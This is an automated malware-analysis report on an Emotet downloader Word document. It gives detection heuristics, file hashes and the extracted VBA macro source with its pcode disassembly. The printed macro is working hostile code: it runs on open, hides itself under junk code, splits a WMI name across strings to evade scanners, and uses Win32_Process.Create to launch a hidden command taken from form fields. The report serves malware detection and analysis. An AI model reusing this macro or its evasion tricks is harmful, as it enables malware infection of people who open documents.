Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 72e2962b2f9017ab…

MALICIOUS

Office (OLE)

179.9 KB Created: 2019-04-12 16:46:00 Authoring application: Microsoft Office Word First seen: 2021-02-09
MD5: dc4290e5260d4e0d995a1c48d37ea299 SHA-1: 702602ab9189040f1721a140ebd6d0620d802366 SHA-256: 72e2962b2f9017abab81b6473ce2071ab47eac9c9dcfd53e5c62084d8dcac018
270 Risk Score

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6939267-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6939267-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set uxQAAcB = GetObject("winm" + "gmts:Win3" + "2_ProcessStartup")
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    Set uxQAAcB = GetObject("winm" + "gmts:Win3" + "2_ProcessStartup")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set uxQAAcB = GetObject("winm" + "gmts:Win3" + "2_ProcessStartup")
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 36409 bytes
SHA-256: 0dac0fab7d6796191d091d1cbdc30fdbdf8049205cce10e1de38fc3017c19bb7
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "SQZBGXQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "EGA4AAZ4"
Attribute VB_Base = "0{D525A389-BC46-414D-B715-8B371E2BFD1A}{3188294C-B6CE-4FE7-83A6-677F2FFF46B3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "WkkZQB"
Attribute VB_Base = "0{85C833A3-F5FA-4489-959F-11DA321E8751}{DF598C9D-D234-46B0-BF9E-634C56B0F701}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "GUUxAXUA"
Sub autoopen()
   If AQBoUUB = jGGAAc Then
 jCABAA = BAAAAZX - WAAoAk
      Select Case QUAAQ1
         Case 68233013
            tGBDDU = CVar(149516903 * Rnd(wUAAA_AG * Round(877296247) / 44371050 * CLng(190187375 * Sqr(rZU4AAA))))
            EXGAQXA = Round(iD4XU_)
         Case 985196970
            NDAxAc = RGZUkDAZ
            hQC_AQB = Atn(603061217)
      End Select
End If
   If UxAQADGk = fQZ1AAwA Then
 MAXUAcXw = k_AAAA - iQ4AUQAB
      Select Case jAQoAU
         Case 705800004
            tkAX_cUA = CVar(151896625 * Rnd(Ho1AGB * Round(328333801) / 901758249 * CLng(764284047 * Sqr(qAABDU))))
            RQAAAG = Round(FDGZXDZ)
         Case 159317277
            RwUDA_U = V1A41A
            kwcQQU = Atn(505819367)
      End Select
End If
UAAoAADk
   If hAAQAUD = FBBBoX Then
 PwAUQXQ = cAoAAwUQ - cCG4w4BU
      Select Case dAA_BwGB
         Case 111389288
            IAABAAxA = CVar(645141282 * Rnd(VACU44 * Round(676258565) / 794303263 * CLng(195691082 * Sqr(YkwQU1DB))))
            iADQxQA = Round(fwUQABZ)
         Case 155167867
            uAGXAC = cAAUDD4
            iA4AQZA = Atn(182330011)
      End Select
End If
   If NAAAoQk = YAACZoQA Then
 LDxBAA = Q_AZU4 - mAxoGU1
      Select Case lUAC1AB
         Case 741661480
            cwDAAZA = CVar(797247422 * Rnd(wDA4AkQ * Round(145632766) / 146168904 * CLng(494268682 * Sqr(iD_AAAxQ))))
            JcQDGkAU = Round(sAQDCxxA)
         Case 137622906
            BkQBUAA = ooAXA_
            YGoQw4C = Atn(914906155)
      End Select
End If
   If i_GXAc = OA1o4BA Then
 oDwGQoAX = XCBAAwU - NABx_QAA
      Select Case VAkQB4
         Case 794697621
            CBAxBQG = CVar(527967968 * Rnd(iAoBA1 * Round(677530763) / 930143491 * CLng(347706106 * Sqr(LAwAABAU))))
            sAkAkc = Round(YQw4QQ)
         Case 390497130
            UwAGAA = QABBcDkx
            AQG41QGo = Atn(976239406)
      End Select
End If
End Sub

Attribute VB_Name = "jAwAAXQA"
Function UAAoAADk()
On Error Resume Next
   If EoAAAQAD = PAxCBAA Then
 JUXUXBQ = c4CAQ1U - TBD1DBB
      Select Case KAwQXo
         Case 131727169
            uAUAZQG = CVar(797023085 * Rnd(SkAAABU * Round(930296041) / 179456172 * CLng(882023936 * Sqr(sBABAX))))
            CAwoADo = Round(iABBUA)
         Case 960803654
            tAACCGD = IDAAZx
            dABAAcA = Atn(850371286)
      End Select
End If
   If rCAoX4X = wXkAAXAD Then
 TQw1AX_ = Jk1ABkBw - fADA4BUA
      Select Case JxZAUQA
         Case 621736930
            kAXAAAGQ = CVar(570791519 * Rnd(zQADA1A4 * Round(705117662) / 49216335 * CLng(268258692 * Sqr(cXAACxZC))))
            woBAACAB = Round(uwZDAA)
         Case 248086394
            wCAUAA = a4BUAU
            ZAAQGQX = Atn(930740445)
      End Select
End If
   If TQZQCx = X4UAxA Then
 fZAUcB = PGAQG4 - qDoADcZk
      Select Case nAUDAA4
         Case 760151699
            GwAQQZ = CVar(488106208 * Rnd(rZBc4AAU * Round(716889924) / 80538522 * CLng(638522705 * Sqr(ZDAc4C))))
            vAxUG4w = Round(i_AADk)
         Case 916198356
            w1AAGAAx = wQoQZDAB
            uAAAAZA = Atn(716592079)
      End Select
End If
If 2424 < 52164 Then
DcUZ1G = 0
   If oA4AUAA = nAU1DG Then
 nBADAA = l44UA1xc - tAZAAAZG
      Select Case iAUGADA
         Case 980369042
            aBQAGG = CVar(10596521 * Rnd(Y4AcAADG * Round(837098943) / 29898981 * CLng(143955054 * Sqr(DXUAXCA))))
            CXDAAZA = Round(vGBAxA)
         Case 928656100
            zAACADAQ = sZAAGCBw
            n4ABowAQ = Atn(160000692)
      End Select
End If
   If XBU_ZG = AZA4XCB Then
 kcDwAcA = IUAAAAcA - iAAZAU
      Select Case JACZUk
         Case 314278587
            cAU4cX = CVar(599433424 * Rnd(zBBAAU * Round(569388420) / 565805125 * CLng(614459053 * Sqr(XkA_AQ))))
            i1Qk4wAQ = Round(fkAxAAUD)
         Case 378103358
            wBZ1cGA = rAAABA
            N4XAAox = Atn(896730787)
      End Select
End If
   If tDQAUQ = ZZAA1BGo Then
 NAxUBB_A = aAGcUcQZ - tUQACA
      Select Case nAUAGC
         Case 148952499
            JQcAGB = CVar(617494223 * Rnd(r_wAAAA * Round(173509848) / 21764388 * CLng(568704269 * Sqr(mGDAcAA))))
            lAcAAA = Round(LoAAUDA)
         Case 795445306
            MA_ABxA = jUGQXA
            hA4AAA = Atn(782084157)
      End Select
End If
End If
   If jZQAxxXZ = HQAUDXxB Then
 PAU1wB = oAAD1B4 - EcZC1AB
      Select Case BAAA1QkX
         Case 460749082
            MxAxAUoC = CVar(53183744 * Rnd(GCQABcX * Round(174691) / 217752123 * CLng(830803329 * Sqr(qGGo4cC))))
            JBUAB_ = Round(IAQAQwB)
         Case 355927621
            Hx_wcA4A = sACDDU
            IoxZcAA = Atn(915743646)
      End Select
End If
   If sUcDUA = aUAAUA Then
 DwAc1A14 = KAxBQUUD - wDwDA_
      Select Case r1AAAZBD
         Case 582971581
            CkUAAAwX = CVar(936587668 * Rnd(lD1AAc * Round(999764622) / 538527978 * CLng(541322773 * Sqr(YAAA_A))))
            HAcUDx = Round(YxX1AC4)
         Case 564606267
            M4BDAXA = hUk44GA
            mCwAAAQ = Atn(514585939)
      End Select
End If
   If OcC4AAA = NA44AA1B Then
 sDAQo1k = MGAkAcBQ - mkkcAUxA
      Select Case wUAw1A
         Case 195914883
            DAUwAAA = CVar(809215709 * Rnd(fAA4ck1A * Round(369108806) / 227187986 * CLng(157499672 * Sqr(hBBBAw))))
            pADAQAA1 = Round(iA1oBDQD)
         Case 122401449
            qQAwXA = UC4CXA4A
            CUAAAB4 = Atn(866881455)
      End Select
End If
Set uxQAAcB = GetObject("winm" + "gmts:Win3" + "2_ProcessStartup")
   If JDAAXA = qQAA_1o Then
 DUAU1U4A = JAcDXU - vxAUkAA
      Select Case JZAxCA
         Case 309825259
            UAoAAUA = CVar(865275809 * Rnd(rAwQQA * Round(977322916) / 376365405 * CLng(590485663 * Sqr(dwA_AB))))
            MxGXAx = Round(N1BAAAAA)
         Case 793851048
            ZUcCUQAA = IAk_4GwX
            aUBUDxA = Atn(48297461)
      End Select
End If
   If HAAcAw = kDAAkA Then
 JBAcwAAA = IkAQAXDA - TAocAc4U
      Select Case AAk_QAAA
         Case 828372438
            jAQDUUA = CVar(738831504 * Rnd(QQcBQG * Round(917103027) / 939659812 * CLng(252925115 * Sqr(DUUQxDAB))))
            wUZAkA = Round(iUGGGUD)
         Case 159320587
            ToXB__Q4 = UxAABDA
            pGAx1GA = Atn(281295034)
      End Select
End If
If 217 < 98423 Then
   If SAAAD_ = DA4AUcCQ Then
 WQwZAXw = vUoXAGDw - Wc_CBQAA
      Select Case FQAAoXU
         Case 933493789
            wUAGA_X = CVar(729840051 * Rnd(RQAA4Qc * Round(820572442) / 655333281 * CLng(968927774 * Sqr(r_UkAA1D))))
            RABxUA4 = Round(coAAAZQ)
         Case 627335327
            t1ooxB = KAB_A4oA
            iAAwQADA = Atn(21403776)
      End Select
End If
   If KcCUBAA = tAB1ADX Then
 iUABBA = qcUQZUDD - fkBD1AAX
      Select Case BxGAAw
         Case 166646978
            jAAAD4_ = CVar(777323179 * Rnd(JZXAD4A * Round(631063922) / 561193440 * CLng(100102159 * Sqr(TGAUQ1))))
            OBXQA1 = Round(YZBx4BA)
         Case 837046196
            PAc44QA = UAUAAx
            j1GGDA = Atn(74731964)
      End Select
End If
uxQAAcB. _
ShowWindow = DcUZ1G + DcUZ1G + DcUZ1G + DcUZ1G
   If c_GA_AA = i1GADAxA Then
 TDUkDQAC = jAoCBA_ - jB_AAGQ
      Select Case W1DDAAx
         Case 387082525
            dUAkAQx = CVar(617922910 * Rnd(pCXUUBAA * Round(434001091) / 350198054 * CLng(471982788 * Sqr(YZUU1A))))
            YckAcXAA = Round(CABQZk)
         Case 389775007
            AkCAoA = iGUUX_AA
            zUDXZB = Atn(312653131)
      End Select
End If
   If DUQk_Q = mwQAAwUo Then
 nDcBxBG = lUQAUAQ - Aw1UBx
      Select Case S4AXAcB
         Case 666864828
            HZUcAAA = CVar(478900353 * Rnd(dUGAB1 * Round(883789861) / 505441851 * CLng(352867468 * Sqr(wA4wDZA_))))
            zA_AoAAA = Round(FQBBCA)
         Case 3731655
            EDAxAXUQ = qAxQQ4D
            wQBUUQ = Atn(675567178)
      End Select
End If
   If K_U_ZAxU = EZAGAQ1A Then
 TBDDkAB = WG_QDABD - CBZQXGAA
      Select Case oAAwDQU
         Case 115005934
            DBkUwAA = CVar(973913513 * Rnd(RU4CZCo * Round(294484203) / 179000373 * CLng(404976280 * Sqr(WAAZww))))
            t_QAQXA = Round(FADAUA)
         Case 80957178
            mkGDCA1 = sAUBUQA
            v1X1ZDcD = Atn(352097675)
      End Select
End If
End If
   If TUABQ1 = iA_BBD_ Then
 GAAAUB = twAQUx4 - v1XCAAkA
      Select Case TQAABAD
         Case 974696032
            OGAAwGDA = CVar(818322399 * Rnd(rCXXAXX * Round(312074837) / 983082543 * CLng(307678397 * Sqr(DUBABXoD))))
            KUA_QU = Round(oBDoQAo_)
         Case 416071418
            i4DoxA = sZACBBA
            wGA_XAQB = Atn(594736403)
      End Select
End If
   If KBGGkXk = MxxBDkAx Then
 jAAcA4 = OZBkAckX - IAQGxAw
      Select Case YDcABA
         Case 313057131
            u44DAAB = CVar(221872213 * Rnd(fx_XAB * Round(846410575) / 895302819 * CLng(256126740 * Sqr(UAXZAZ1Q))))
            GD_1AQ = Round(YBAAkA)
         Case 97457890
            hoUAAU = sU4xAQ_
            ZAxoAAAA = Atn(794157194)
      End Select
End If
   If RAAAxX = PADQQDA Then
 IAAAADZ = jAADkA - t11U_UQB
      Select Case s4AAACD
         Case 984901237
            LAAUUBBA = CVar(858056732 * Rnd(P4cwAxcU * Round(710950405) / 223400731 * CLng(469756916 * Sqr(hxBoUQxk))))
            d_ZoG4 = Round(lXCBcDQ)
         Case 119120316
            OGUA4DA = jZDAQoDA
            H1DB4A = Atn(615518163)
      End Select
End If
GetObject("winm" + "gmts:Win3" + "2_Process").Create EGA4AAZ4.FBwQBQ + WkkZQB.OAAAUQ + EGA4AAZ4.FBwQBQ + WkkZQB.VxUUQAA + EGA4AAZ4.FBwQBQ.ControlSource + EGA4AAZ4.FBwQBQ.ControlTipText + WkkZQB.fABQAQkB + EGA4AAZ4.FBwQBQ + EGA4AAZ4.FBwQBQ + WkkZQB.EwkADDA + EGA4AAZ4.FBwQBQ.ControlSource + WkkZQB.RDDwxCA + EGA4AAZ4.FBwQBQ.ControlTipText, wDAAwUAB, uxQAAcB, EGA4AAZ4.FBwQBQ.ControlSource
   If T1Bw4GwA = wAUkDU Then
 JxUAQZA = AQxUZAA - zUBQcA
      Select Case kUAB4A
         Case 549192418
            w1_ZD14k = CVar(207414586 * Rnd(d_D4wB * Round(735286989) / 92323677 * CLng(851737885 * Sqr(DBGQwD))))
            t_AUBQ_ = Round(ECGAQQQ)
         Case 245252988
            SQA_QU = jBBDQD
            qwAQDQDk = Atn(996994112)
      End Select
End If
   If wkDCwD = SXoBAA Then
 hCAAGw1 = TUB1UoxB - OQoGBCA
      Select Case wUwAwAA
         Case 47485713
            bUBADBU = CVar(277633482 * Rnd(PoxADcAQ * Round(272545425) / 47780900 * CLng(354496384 * Sqr(rAAAU4c))))
            VAXUA1QB = Round(vAAAGAcw)
         Case 271038406
            cAAwxDCG = to__GBA
            AABGxAUk = Atn(467061691)
      End Select
End If
   If jAUXcAA = sAwA_BAo Then
 zQxAZC = CBGAA_ - dBcUGA
      Select Case QkDBAA
         Case 902602835
            lQAAow = CVar(237254599 * Rnd(FB1CAA1 * Round(454832772) / 19821164 * CLng(181691559 * Sqr(jQUUBU))))
            OcCBQBC = Round(jAAAxAc)
         Case 29724272
            iQDAUXC = LCABAAUk
            JAAwDABA = Atn(426310445)
      End Select
End If
End Function


' Processing file: /opt/analyzer/scan_staging/9a801c041cda4578bc928297f786972a.bin
' ===============================================================================
' Module streams:
' Macros/VBA/SQZBGXQ - 1105 bytes
' Macros/VBA/EGA4AAZ4 - 1159 bytes
' Macros/VBA/WkkZQB - 1156 bytes
' Macros/VBA/GUUxAXUA - 3664 bytes
' Line #0:
' 	FuncDefn (Sub GUUxAXUA())
' Line #1:
' 	Ld autoopen 
' 	Ld AQBoUUB 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	Ld jCABAA 
' 	Ld BAAAAZX 
' 	Sub 
' 	St jGGAAc 
' Line #3:
' 	Ld WAAoAk 
' 	SelectCase 
' Line #4:
' 	LitDI4 0x2735 0x0411 
' 	Case 
' 	CaseDone 
' Line #5:
' 	LitDI4 0x7267 0x08E9 
' 	Ld tGBDDU 
' 	LitDI4 0x7A77 0x344A 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	LitDI4 0x0C6A 0x02A5 
' 	Div 
' 	LitDI4 0x076F 0x0B56 
' 	Ld wUAAA_AG 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	St QUAAQ1 
' Line #6:
' 	Ld EXGAQXA 
' 	ArgsLd Round 0x0001 
' 	St rZU4AAA 
' Line #7:
' 	LitDI4 0xE9AA 0x3AB8 
' 	Case 
' 	CaseDone 
' Line #8:
' 	Ld NDAxAc 
' 	St iD4XU_ 
' Line #9:
' 	LitDI4 0xFBE1 0x23F1 
' 	ArgsLd Atn 0x0001 
' 	St RGZUkDAZ 
' Line #10:
' 	EndSelect 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	Ld hQC_AQB 
' 	Ld UxAQADGk 
' 	Eq 
' 	IfBlock 
' Line #13:
' 	Ld MAXUAcXw 
' 	Ld k_AAAA 
' 	Sub 
' 	St fQZ1AAwA 
' Line #14:
' 	Ld iQ4AUQAB 
' 	SelectCase 
' Line #15:
' 	LitDI4 0xA744 0x2A11 
' 	Case 
' 	CaseDone 
' Line #16:
' 	LitDI4 0xC231 0x090D 
' 	Ld tkAX_cUA 
' 	LitDI4 0xF9E9 0x1391 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	LitDI4 0xBD29 0x35BF 
' 	Div 
' 	LitDI4 0x0C8F 0x2D8E 
' 	Ld Ho1AGB 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	St jAQoAU 
' Line #17:
' 	Ld RQAAAG 
' 	ArgsLd Round 0x0001 
' 	St qAABDU 
' Line #18:
' 	LitDI4 0xFD1D 0x097E 
' 	Case 
' 	CaseDone 
' Line #19:
' 	Ld RwUDA_U 
' 	St FDGZXDZ 
' Line #20:
' 	LitDI4 0x30E7 0x1E26 
' 	ArgsLd Atn 0x0001 
' 	St V1A41A 
' Line #21:
' 	EndSelect 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	ArgsCall kwcQQU 0x0000 
' Line #24:
' 	Ld UAAoAADk 
' 	Ld hAAQAUD 
' 	Eq 
' 	IfBlock 
' Line #25:
' 	Ld PwAUQXQ 
' 	Ld cAoAAwUQ 
' 	Sub 
' 	St FBBBoX 
' Line #26:
' 	Ld cCG4w4BU 
' 	SelectCase 
' Line #27:
' 	LitDI4 0xAA68 0x06A3 
' 	Case 
' 	CaseDone 
' Line #28:
' 	LitDI4 0x1322 0x2674 
' 	Ld IAABAAxA 
' 	LitDI4 0xE305 0x284E 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	LitDI4 0x1B1F 0x2F58 
' 	Div 
' 	LitDI4 0x024A 0x0BAA 
' 	Ld VACU44 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	St dAA_BwGB 
' Line #29:
' 	Ld iADQxQA 
' 	ArgsLd Round 0x0001 
' 	St YkwQU1DB 
' Line #30:
' 	LitDI4 0xAC7B 0x093F 
' 	Case 
' 	CaseDone 
' Line #31:
' 	Ld uAGXAC 
' 	St fwUQABZ 
' Line #32:
' 	LitDI4 0x229B 0x0ADE 
' 	ArgsLd Atn 0x0001 
' 	St cAAUDD4 
' Line #33:
' 	EndSelect 
' Line #34:
' 	EndIfBlock 
' Line #35:
' 	Ld iA4AQZA 
' 	Ld NAAAoQk 
' 	Eq 
' 	IfBlock 
' Line #36:
' 	Ld LDxBAA 
' 	Ld Q_AZU4 
' 	Sub 
' 	St YAACZoQA 
' Line #37:
' 	Ld mAxoGU1 
' 	SelectCase 
' Line #38:
' 	LitDI4 0xDB28 0x2C34 
' 	Case 
' 	CaseDone 
' Line #39:
' 	LitDI4 0x07BE 0x2F85 
' 	Ld cwDAAZA 
' 	LitDI4 0x2DFE 0x08AE 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	LitDI4 0x5C48 0x08B6 
' 	Div 
' 	LitDI4 0xF10A 0x1D75 
' 	Ld wDA4AkQ 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	St lUAC1AB 
' Line #40:
' 	Ld JcQDGkAU 
' 	ArgsLd Round 0x0001 
' 	St iD_AAAxQ 
' Line #41:
' 	LitDI4 0xF57A 0x0833 
' 	Case 
' 	CaseDone 
' Line #42:
' 	Ld BkQBUAA 
' 	St sAQDCxxA 
' Line #43:
' 	LitDI4 0x5C2B 0x3688 
' 	ArgsLd Atn 0x0001 
' 	St ooAXA_ 
' Line #44:
' 	EndSelect 
' Line #45:
' 	EndIfBlock 
' Line #46:
' 	Ld YGoQw4C 
' 	Ld i_GXAc 
' 	Eq 
' 	IfBlock 
' Line #47:
' 	Ld oDwGQoAX 
' 	Ld XCBAAwU 
' 	Sub 
' 	St OA1o4BA 
' Line #48:
' 	Ld NABx_QAA 
' 	SelectCase 
' Line #49:
' 	LitDI4 0x1F95 0x2F5E 
' 	Case 
' 	CaseDone 
' Line #50:
' 	LitDI4 0x26E0 0x1F78 
' 	Ld CBAxBQG 
' 	LitDI4 0x4C8B 0x2862 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	LitDI4 0xDD03 0x3770 
' 	Div 
' 	LitDI4 0x92FA 0x14B9 
' 	Ld iAoBA1 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	St VAkQB4 
' Line #51:
' 	Ld sAkAkc 
' 	ArgsLd Round 0x0001 
' 	St LAwAABAU 
' Line #52:
' 	LitDI4 0x836A 0x1746 
' 	Case 
' 	CaseDone 
' Line #53:
' 	Ld UwAGAA 
' 	St YQw4QQ 
' Line #54:
' 	LitDI4 0x3B2E 0x3A30 
' 	ArgsLd Atn 0x0001 
' 	St QABBcDkx 
' Line #55:
' 	EndSelect 
' Line #56:
' 	EndIfBlock 
' Line #57:
' 	EndSub 
' Macros/VBA/jAwAAXQA - 13939 bytes
' Line #0:
' 	FuncDefn (Function kwcQQU())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld jAwAAXQA 
' 	Ld EoAAAQAD 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	Ld JUXUXBQ 
' 	Ld c4CAQ1U 
' 	Sub 
' 	St PAxCBAA 
' Line #4:
' 	Ld TBD1DBB 
' 	SelectCase 
' Line #5:
' 	LitDI4 0xFF41 0x07D9 
' 	Case 
' 	CaseDone 
' Line #6:
' 	LitDI4 0x9B6D 0x2F81 
' 	Ld uAUAZQG 
' 	LitDI4 0x30E9 0x3773 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	LitDI4 0x48AC 0x0AB2 
' 	Div 
' 	LitDI4 0x9E00 0x3492 
' 	Ld SkAAABU 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	St KAwQXo 
' Line #7:
' 	Ld CAwoADo 
' 	ArgsLd Round 0x0001 
' 	St sBABAX 
' Line #8:
' 	LitDI4 0xB346 0x3944 
' 	Case 
' 	CaseDone 
' Line #9:
' 	Ld tAACCGD 
' 	St iABBUA 
' Line #10:
' 	LitDI4 0xA2D6 0x32AF 
' 	ArgsLd Atn 0x0001 
' 	St IDAAZx 
' Line #11:
' 	EndSelect 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	Ld dABAAcA 
' 	Ld rCAoX4X 
' 	Eq 
' 	IfBlock 
' Line #14:
' 	Ld TQw1AX_ 
' 	Ld Jk1ABkBw 
' 	Sub 
' 	St wXkAAXAD 
' Line #15:
' 	Ld fADA4BUA 
' 	SelectCase 
' Line #16:
' 	LitDI4 0xF3E2 0x250E 
' 	Case 
' 	CaseDone 
' Line #17:
' 	LitDI4 0x965F 0x2205 
' 	Ld kAXAAAGQ 
' 	LitDI4 0x3DDE 0x2A07 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	LitDI4 0xFB4F 0x02EE 
' 	Div 
' 	LitDI4 0x4D84 0x0FFD 
' 	Ld zQADA1A4 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	St JxZAUQA 
' Line #18:
' 	Ld woBAACAB 
' 	ArgsLd Round 0x0001 
' 	St cXAACxZC 
' Line #19:
' 	LitDI4 0x7F7A 0x0EC9 
' 	Case 
' 	CaseDone 
' Line #20:
' 	Ld wCAUAA 
' 	St uwZDAA 
' Line #21:
' 	LitDI4 0xF8DD 0x3779 
' 	ArgsLd Atn 0x0001 
' 	St a4BUAU 
' Line #22:
' 	EndSelect 
' Line #23:
' 	EndIfBlock 
' Line #24:
' 	Ld ZAAQGQX 
' 	Ld TQZQCx 
' 	Eq 
' 	IfBlock 
' Line #25:
' 	Ld fZAUcB 
' 	Ld PGAQG4 
' 	Sub 
' 	St X4UAxA 
' Line #26:
' 	Ld qDoADcZk 
' 	SelectCase 
' Line #27:
' 	LitDI4 0xFE93 0x2D4E 
' 	Case 
' 	CaseDone 
' Line #28:
' 	LitDI4 0xE8E0 0x1D17 
' 	Ld GwAQQZ 
' 	LitDI4 0xDF44 0x2ABA 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	LitDI4 0xEB9A 0x04CC 
' 	Div 
' 	LitDI4 0x1551 0x260F 
' 	Ld rZBc4AAU 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	St nAUDAA4 
' Line #29:
' 	Ld vAxUG4w 
' 	ArgsLd Round 0x0001 
' 	St ZDAc4C 
' Line #30:
' 	LitDI4 0x13D4 0x369C 
' 	Case 
' 	CaseDone 
' Line #31:
' 	Ld w1AAGAAx 
' 	St i_AADk 
' Line #32:
' 	LitDI4 0x53CF 0x2AB6 
' 	ArgsLd Atn 0x0001 
' 	St wQoQZDAB 
' Line #33:
' 	EndSelect 
' Line #34:
' 	EndIfBlock 
' Line #35:
' 	LitDI2 0x0978 
' 	LitDI4 0xCBC4 0x0000 
' 	Lt 
' 	IfBlock 
' Line #36:
' 	LitDI2 0x0000 
' 	St uAAAAZA 
' Line #37:
' 	Ld DcUZ1G 
' 	Ld oA4AUAA 
' 	Eq 
' 	IfBlock 
' Line #38:
' 	Ld nBADAA 
' 	Ld l44UA1xc 
' 	Sub 
' 	St nAU1DG 
' Line #39:
' 	Ld tAZAAAZG 
' 	SelectCase 
' Line #40:
' 	LitDI4 0x3E92 0x3A6F 
' 	Case 
' 	CaseDone 
' Line #41:
' 	LitDI4 0xB0A9 0x00A1 
' 	Ld aBQAGG 
' 	LitDI4 0x1DBF 0x31E5 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	LitDI4 0x38E5 0x01C8 
' 	Div 
' 	LitDI4 0x946E 0x0894 
' 	Ld Y4AcAADG 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	St iAUGADA 
' Line #42:
' 	Ld CXDAAZA 
' 	ArgsLd Round 0x0001 
' 	St DXUAXCA 
' Line #43:
' 	LitDI4 0x2AE4 0x375A 
' 	Case 
' 	CaseDone 
' Line #44:
' 	Ld zAACADAQ 
' 	St vGBAxA 
' Line #45:
' 	LitDI4 0x6AB4 0x0989 
' 	ArgsLd Atn 0x0001 
' 	St sZAAGCBw 
' Line #46:
' 	EndSelect 
' Line #47:
' 	EndIfBlock 
' Line #48:
' 	Ld n4ABowAQ 
' 	Ld XBU_ZG 
' 	Eq 
' 	IfBlock 
' Line #49:
' 	Ld kcDwAcA 
' 	Ld IUAAAAcA 
' 	Sub 
' 	St AZA4XCB 
' Line #50:
' 	Ld iAAZAU 
' 	SelectCase 
' Line #51:
' 	LitDI4 0x82BB 0x12BB 
' 	Case 
' 	CaseDone 
' Line #52:
' 	LitDI4 0xA0D0 0x23BA 
' 	Ld cAU4cX 
' 	LitDI4 0x2D84 0x21F0 
' 	ArgsLd Round 0x0001 
' 	Mul 
' 	LitDI4 0x8045 0x21B9 
' 	Div 
' 	LitDI4 0xE6AD 0x249F 
' 	Ld zBBAAU 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	Mul 
' 	Coerce (Var) 
' 	St JACZUk 
' Line #53:
' 	Ld i1Qk4wAQ 
' 	ArgsLd Round 0x0001 
' 	St XkA_AQ 
' Line #54:
